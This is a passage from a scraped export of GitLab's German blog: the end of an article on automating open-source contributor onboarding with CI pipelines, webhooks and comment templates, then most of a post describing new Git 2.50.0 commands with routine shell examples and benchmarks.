Onboarding-Lösung zu entwickeln.\n\n\n2025 führten wir eine Folgestudie mit neuen Teilnehmenden durch, die noch nie einen Beitrag zu GitLab geleistet hatten. Alle 10 Teilnehmenden erstellten und mergten erfolgreich Beiträge zu GitLab – eine Erfolgsquote von 100 %. Das Feedback zeigte große Wertschätzung für den neuen Onboarding-Prozess, die Geschwindigkeit, mit der\n\nMaintainer bei Mitwirkenden nachfragten, und die Anerkennung, die wir Mitwirkenden anboten.\n\n\nNoch besser: Die Teilnehmenden teilten mit, wie viel Spaß sie beim Mitwirken hatten:\n\n„Ich fühlte einen kleinen Adrenalinstoß bei dem Gedanken, sagen zu können: ‚Ich habe beim Aufbau von GitLab geholfen.'\"\n\n\n## Wir haben persönliches Onboarding mit GitLab aufgebaut\n\n\nUnsere Lösung begann mit Engagement.\n\nUm Neulingen beim Einstieg zu helfen, führten wir einen persönlichen Onboarding-Prozess ein, der jeden\n\nMitwirkenden mit einem Community-Maintainer verbindet.\n\n\nWir erstellten ein [Issue-Template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) mit einer klaren Checkliste von Aufgaben.\n\n\nDas Onboarding-Issue behandelt auch die Zugangsgenehmigung für die\n\n[GitLab Community Forks](https://about.gitlab.com/blog/gitlab-community-forks/),\n\neine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten\n\nund auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.\n\n\nMit [Scoped Labels](https://docs.gitlab.com/user/project/labels/#scoped-labels) zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.\n\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\nWir begannen mit einem Ruby-Skript, das über eine [geplante Pipeline](https://docs.gitlab.com/ci/pipelines/schedules/) ausgeführt wurde,\n\nnach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.\n\n\nVon hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.\n\n\n## Wir standardisierten Antworten mit Kommentar-Templates\n\n\nMit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.\n\n\nWir erstellten [Kommentar-Templates](https://docs.gitlab.com/user/profile/comment_templates/),\n\ndie wir mit dem Repository über die GraphQL-API und ein\n\n[Ruby-Skript](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb) synchronisieren.\n\n\nDas Skript wird in `.gitlab-ci.yml` ausgelöst, wenn Änderungen an Kommentar-Templates\n\nzum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).\n\n\n```yaml\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n## Wir eliminierten die 5-Minuten-Wartezeit\n\n\nUnsere erste Iteration war etwas langsam.\n\nNach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen.\n\nFünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.\n\n\n[Niklas](https://gitlab.com/Taucher2003), ein Mitglied unseres [Core Teams](https://about.gitlab.com/community/core-team/), entwickelte eine Lösung. Er fügte [Webhook-Events für Zugangsanfragen ](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)und [benutzerdefinierte Payload-Templates für Webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738) hinzu.\n\n\nDiese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.\n\n\nWir richteten ein [Pipeline-Trigger-Token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token) ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:\n\n\n```json\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n```\n\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n## Wir automatisierten Nachfassaktionen\n\n\nMit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen,\n\nhatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.\n\n\nWir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden.\n\nDies schafft ein klares Signal des Issue-Status für Maintainer.\n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\n\nstupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.\n\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n## Wir organisierten die Issue-Verfolgung mit GLQL\n\n\nWir bauten eine [GLQL-Ansicht](https://docs.gitlab.com/user/glql/), um Issues im Blick zu behalten.\n\nDiese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen,\n\ndamit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.\n\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\nDiese GLQL-Ansichten verbesserten unsere gesamte Triage-[Effizienz](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nEs war so erfolgreich, dass wir diese Strategie auch bei den Programmen [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\n\nund [GitLab for Education](https://about.gitlab.com/solutions/education/) anwendeten.\n\nMit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.\n\n\n## Wir machten die README auffindbar\n\n\nDie [@gitlab-community-Gruppe](https://gitlab.com/gitlab-community/)\n\nist das Zuhause für Mitwirkende auf GitLab.com.\n\nWir hatten bereits eine `README.md`-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei\n\nbefand sich in unserem Meta-Projekt.\n\nMit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre\n\nOnboarding-Issues unter einem anderen Projekt waren.\n\n\nWir nutzten [GitLabs Projekt-Spiegelung](https://docs.gitlab.com/user/project/repository/mirror/),\n\num dies zu lösen und spiegelten das Meta-Projekt zu `gitlab-profile`.\n\nDies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.\n\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n## Die Ergebnisse sprechen für sich selbst\n\n\nDurch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine\n\nund transformierten die GitLab-Mitwirkenden-Journey.\n\nWir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen,\n\nFunktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.\n\n\nUnser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der\n\nMitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.\n\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\nWir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie\n\nschneller mit Maintainern verbinden und sie beim Einstieg unterstützen.\n\nWir nutzen [GitLabs Value Stream Analytics](https://docs.gitlab.com/user/group/value_stream_analytics/),\n\num unsere Antwortzeiten zu verfolgen.\n\n\n* Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten\n\n* Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde\n\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\nDie 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.\n\n\n## Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden\n\n\nDie Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von\n\nMitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen.\n\nDas Ergebnis ist [contributors.gitlab.com](https://contributors.gitlab.com/).\n\nWir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten,\n\nErfolge und Belohnungen bietet.\n\nMitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.\n\n\n## Was wir gelernt haben teilen\n\n\nDiese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar.\n\nWir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.\n\n\nWenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen.\n\nMit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten.\n\nWir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.\n\n\n## Das Gespräch beginnen\n\n\nMöchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst?\n\nSende eine E-Mail an `contributors@gitlab.com` oder [öffne ein Issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues),\n\num eine Diskussion zu beginnen.\n\nWir sind hier, um beim Aufbau von Communities zu helfen.\n",[1072,1073],"Lee Tickett","Daniel Murphy","2025-07-23","2025-07-15","Von 17 % auf 100 %: Wie wir das Open-Source-Onboarding revolutionierten",[897,269,764],"In nur einem Jahr steigerten wir die Erfolgsquote neuer Open-Source-Mitwirkender von 17 % auf 100 %. Hier sind die GitLab-Tools und -Prozesse, die den Unterschied machten.",{"featured":6,"template":800,"slug":1080},"how-we-use-gitlab-to-grow-open-source-communities",{"content":1082,"config":1090},{"title":1083,"description":1084,"authors":1085,"heroImage":1061,"body":1087,"date":1088,"category":754,"tags":1089},"Was gibt es Neues in Git 2.50.0?","Beiträge des Git-Teams von GitLab und der Git-Community, inklusive der Befehl git-diff-pairs(1) und die Option git-rev-list(1) für gebündelte Referenz-Updates.",[1086],"Justin Tobler","Das Git-Projekt hat kürzlich\n[Git Version 2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u)\nveröffentlicht. Werfen wir einen Blick auf die Highlights dieser\nVeröffentlichung, die Beiträge des Git-Teams von GitLab und der gesamten\nGit-Community enthält.\n\n\n## Neuer Befehl git-diff-pairs(1)\n\n\nDiffs sind das Herzstück jeder Code Review und zeigen alle Änderungen, die zwischen zwei Revisionen vorgenommen wurden. GitLab zeigt Diffs an verschiedenen Stellen an, am häufigsten aber auf der [Registerkarte „Änderungen“ (in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/merge_requests/changes/) eines Merge Requests.\n\n\nIm Hintergrund wird die Diff-Generierung von [`git-diff(1)`](https://git-scm.com/docs/git-diff/de) verwendet. Ein Beispiel:\n\n\n```shell\n\n$ git diff HEAD~1 HEAD\n\n```\n\n\nDieser Befehl gibt das vollständige Diff für alle geänderten Dateien zurück. Dies kann eine Herausforderung für die Skalierbarkeit darstellen, vor allem, wenn die Anzahl der Dateien, die innerhalb einer Reihe von Revisionen geändert wurden, sehr groß ist. Dies kann dazu führen, dass der Befehl selbst auferlegte Zeitlimits für das GitLab-Backend erreicht. Bei großen Änderungen wäre es besser, wenn\n\nes eine Möglichkeit gäbe, die Diff-Berechnung in kleinere, leichter verarbeitbare Blöcke zu unterteilen.\n\n\nEine Möglichkeit dafür ist die Verwendung von\n\n[`git-diff-tree(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-diff-tree), um Informationen\n\nüber alle geänderten Dateien abzurufen:\n\n\n```shell\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n\n```\n\n\nGit bezeichnet diese Ausgabe als [„unbearbeitetes“ Format (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\n\nKurz gesagt, listet jede Zeile der Ausgabe Dateipaare und die dazugehörigen Metadaten\n\ndarüber auf, was sich zwischen dem Anfangscode und der letzten Revision geändert hat. Im Vergleich zur\n\nErzeugung der „Patch“-Ausgabe für große Änderungen verläuft dieser Prozess relativ\n\nschnell und liefert eine Zusammenfassung aller Änderungen. Dieser Befehl kann optional eine Umbenennungserkennung durchführen, indem das Flag `-M` angehängt wird. So kannst du überprüfen, ob identifizierte Änderungen auf eine Dateiumbenennung zurückzuführen sind.\n\n\nMit diesen Informationen könnten wir `git-diff(1)` verwenden, um jedes der\n\nDateipaar-Diffs einzeln zu erstellen. Zum Beispiel können wir die Blob-IDs\n\ndirekt angeben:\n\n\n```shell\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n\n```\n\n\nWir können diesen Vorgang für jedes der Dateipaare wiederholen, aber es ist nicht sehr effizient, für jede einzelne Datei einen\n\nseparaten Git-Prozess zu starten.\n\nAußerdem verliert das Diff bei der Verwendung von Blob-IDs einige Kontextinformationen,\n\nwie den Änderungsstatus und die Dateimodi, die im übergeordneten\n\nBaumobjekt gespeichert sind. Was wir wirklich möchten, ist ein Mechanismus, um „unbearbeitete“ Dateipaarinformationen einzuspeisen und\n\ndie entsprechende Patch-Ausgabe zu generieren.\n\n\nMit der Version 2.50 bietet Git einen neuen integrierten Befehl mit der Bezeichnung\n\n[`git-diff-pairs(1)` (in englischer Sprache verfügbar](https://git-scm.com/docs/git-diff-pairs). Dieser Befehl\n\nakzeptiert „unbearbeitete“ formatierte Dateipaarinformationen als Eingabe auf stdin, um exakt zu bestimmen, welche Patches ausgegeben werden sollen. Das folgende Beispiel zeigt, wie dieser Befehl\n\nverwendet werden kann:\n\n\n```shell\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n\n```\n\n\nBei dieser Nutzung ist die resultierende Ausgabe identisch mit der Verwendung von `git-diff(1)`.\n\nDurch einen separaten Befehl zur Generierung der Patch-Ausgabe kann die „unbearbeitete“ Ausgabe von\n\n`git-diff-tree(1)` in kleinere Chargen von Dateipaaren aufgeteilt und separaten\n\n`git-diff-pairs(1)`-Prozessen zugeführt werden. Dies löst das zuvor erwähnte\n\nSkalierbarkeitsproblem, da die Diffs nicht länger alle auf einmal berechnet werden müssen. Zukünftige\n\nGitLab-Versionen könnten auf diesem Mechanismus aufbauen, um die Leistung der\n\nDiff-Generierung zu verbessern, insbesondere wenn es sich um große Änderungssätze\n\nhandelt. Weitere Informationen zu dieser Änderung findest du im entsprechenden\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\n*Dieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.*\n\n\n## Gesammelte Referenz-Updates\n\n\nMit dem Git-Befehl [`git-update-ref(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-update-ref)\n\n kannst du Referenzaktualisierungen durchführen. Bei Verwendung mit dem Flag `--stdin` können\n\nmehrere Referenzaktualisierungen in einer einzigen Transaktion gebündelt werden, indem Anweisungen für jede Referenzaktualisierung\n\nangegeben werden, die auf stdin durchgeführt werden soll.\n\nDie Massenaktualisierung von Referenzen auf diese Weise zeigt auch ein atomares Verhalten, bei dem ein\n\neinzelner Fehler bei der Referenzaktualisierung eine Transaktion abbricht und\n\nReferenzen nicht aktualisiert werden. Hier ist ein Beispiel für dieses Verhalten:\n\n\n```shell\n\n# Erstelle ein Repository mit drei leeren Commits und einem Branch mit dem Namen „foo“\n\n$ git init\n\n$ git commit --allow-empty -m 1\n\n$ git commit --allow-empty -m 2\n\n$ git commit --allow-empty -m 3\n\n$ git branch foo\n\n\n# Gib die Commit-IDs aus\n\n$ git rev-list HEAD\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n\n# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.\n\n# Es wird erwartet, dass die Aktualisierung fehlschlägt, da die angegebene alte Objekt-ID nicht richtig ist.\n\n$ git update-ref --stdin \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n# Die Referenz „bar“ wurde nicht erstellt.\n\n$ git switch bar\n\nfatal: invalid reference: bar\n\n```\n\n\nIm Vergleich zur einzelnen Aktualisierung vieler Referenzen ist die Massenaktualisierung\n\nauch viel effizienter. Das ist zwar grundsätzlich eine gute Lösung, aber es kann bestimmte\n\nUmstände geben, unter denen es akzeptabel ist, wenn ein Teil der angeforderten Referenzaktualisierungen\n\nfehlschlägt, wir aber dennoch die Effizienzvorteile von\n\nMassenaktualisierungen nutzen möchten.\n\n\nAb dieser Version verfügt `git-update-ref(1)` über die neue Option `--batch-updates`, mit\n\nder die Aktualisierungen auch dann fortgesetzt werden können, wenn eine oder mehrere Referenzaktualisierungen\n\nfehlschlagen. In diesem Modus werden einzelne Fehler im folgenden Format gemeldet:\n\n\n```text\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n\n```\n\n\nDadurch können erfolgreiche Referenzaktualisierungen fortgesetzt werden, während gleichzeitig angegeben wird, unter welchen Umständen Aktualisierungen abgelehnt wurden und aus welchem Grund. Wir verwenden noch einmal das gleiche beispielhafte Repository wie im vorherigen Beispiel:\n\n\n```shell\n\n# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n\n# Die Referenz „bar“ wurde erstellt, obwohl die Aktualisierung auf „foo“ abgelehnt wurde.\n\n$ git switch bar\n\nSwitched to branch 'bar'\n\n```\n\n\nMit der Option `--batch-updates` war die Referenzerstellung diesmal erfolgreich,\n\nobwohl die Aktualisierung nicht funktioniert hat. Diese Patch-Serie legt den Grundstein für\n\nzukünftige Leistungsverbesserungen in `git-fetch(1)` und `git-receive-pack(1)`,\n\nwenn Referenzen in großer Zahl aktualisiert werden. Weitere Informationen findest du im\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n\n*Dieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.*\n\n\n## Neue Filteroption für git-cat-file(1)\n\n\nMit [`git-cat-file(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-cat-file) ist es möglich,\n\nInformationen für alle im Repository enthaltenen Objekte über die Option\n\n`--batch–all-objects` auszugeben. Zum Beispiel:\n\n\n```shell\n\n# Richte ein einfaches Repository ein.\n\n$ git init\n\n$ echo foo >foo\n\n$ git add foo\n\n$ git commit -m init\n\n\n# Erstelle ein nicht erreichbares Objekt.\n\n$ git commit --amend --no-edit\n\n\n# Verwende git-cat-file(1), um Informationen über alle Objekte einschließlich nicht erreichbarer Objekte auszugeben.\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nIn einigen Situationen möchte ein(e) Benutzer(in) möglicherweise alle Objekte im\n\nRepository durchsuchen, aber nur eine Teilmenge basierend auf einem bestimmten Attribut ausgeben. Wenn\n\nwir beispielsweise nur die Objekte anzeigen möchten, die Commits sind, könnten wir\n\n`grep(1)` verwenden:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nDas funktioniert zwar, aber ein Nachteil beim Filtern der Ausgabe ist, dass\n\n`git-cat-file(1)` nach wie vor alle Objekte im Repository durchlaufen muss, auch\n\ndiejenigen, an denen wir nicht interessiert sind. Dies kann ziemlich ineffizient sein.\n\n\nMit dieser Version verfügt `git-cat-file(1)` jetzt über die Option `--filter`, die nur jene Objekte\n\nanzeigt, die den angegebenen Kriterien entsprechen. Dies ähnelt der gleichnamigen Option\n\nfür `git-rev-list(1)`, unterstützt jedoch nur eine Teilmenge der\n\nFilter. Die folgenden Filter werden unterstützt: `blob:none`, `blob:limit=` und\n\n`object:type=`. Ähnlich wie im vorherigen Beispiel können Objekte mit Git direkt nach\n\nihrem Typ gefiltert werden:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nEs ist nicht nur praktisch, dass Git die Verarbeitung übernimmt, sondern bei großen\n\nRepositories mit vielen Objekten ist dies möglicherweise auch effizienter. Wenn ein\n\nRepository über Bitmap-Indizes verfügt, kann Git Objekte eines bestimmten Typs effizient\n\nnachschlagen und so das Durchsuchen der\n\nPaketierungsdatei vermeiden, wodurch die Geschwindigkeit deutlich erhöht wird. Benchmarks, die im\n\n[Chromium-Repository](https://github.com/chromium/chromium.git) durchgeführt wurden, zeigen signifikante Verbesserungen:\n\n\n```text\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs\n\nSummary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n\n```\n\n\nInteressanterweise zeigen diese Ergebnisse, dass die Berechnungszeit jetzt mit\n\nder Anzahl der Objekte für einen bestimmten Typ skaliert, anstatt mit der Anzahl der gesamten Objekte\n\nin der Paketierungsdatei. Den ursprünglichen (englischsprachigen) Mailinglisten-Thread findest du\n\n[hier](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n*Dieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.*\n\n\n## Verbesserte Leistung beim Generieren von Bundles\n\n\nGit bietet die Möglichkeit, über den Befehl\n\n[`git-bundle(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-bundle) ein Archiv eines Repositories zu generieren, das einen\n\nbestimmten Satz von Referenzen und zugehörigen erreichbaren Objekten enthält. Dieser Vorgang\n\nwird von GitLab verwendet, um Repository-Backups zu erstellen, und ist auch ein Teil des\n\n[Bundle-URI (in englischer Sprache verfügbar)](https://git-scm.com/docs/bundle-uri)-Mechanismus.\n\n\nBei großen Repositories mit Millionen von Referenzen kann dieser Vorgang Stunden oder sogar Tage\n\ndauern. Zum Beispiel lagen die Backup-Zeiten für das Haupt-GitLab-Repository\n\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), bei\n\netwa 48 Stunden. Die Untersuchung zeigte einen Leistungsengpass, der\n\nauf die Art zurückzuführen war, wie Git eine Überprüfung durchführte, um zu vermeiden, dass doppelte Referenzen\n\nin das Bundle aufgenommen wurden. Die Implementierung verwendete eine verschachtelte `for`-Schleife, um alle aufgelisteten Referenzen zu durchlaufen und zu\n\nvergleichen, was zu einer Zeitkomplexität von O(N^2) führte. Die Skalierbarkeit\n\nist sehr schlecht, wenn die Anzahl der Referenzen in einem Repository zunimmt.\n\n\nIn dieser Version wurde dieses Problem behoben, indem die verschachtelten Schleifen durch eine \n\nDatenzuordnungsstruktur ersetzt wurden, was die Geschwindigkeit erheblich erhöht. Der folgende Benchmark zeigt\n\ndie Leistungssteigerung beim Erstellen eines Bundles mit einem Repository, das\n\n100 000 Referenzen enthält:\n\n\n```text\n\nBenchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs\n\nSummary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n\n```\n\n\nWeitere Informationen findest du in unserem Blogbeitrag\n\n[Wie wir die Backup-Zeiten für GitLab-Repos von 48 Stunden auf 41 Minuten verringerten (in englischer Sprache 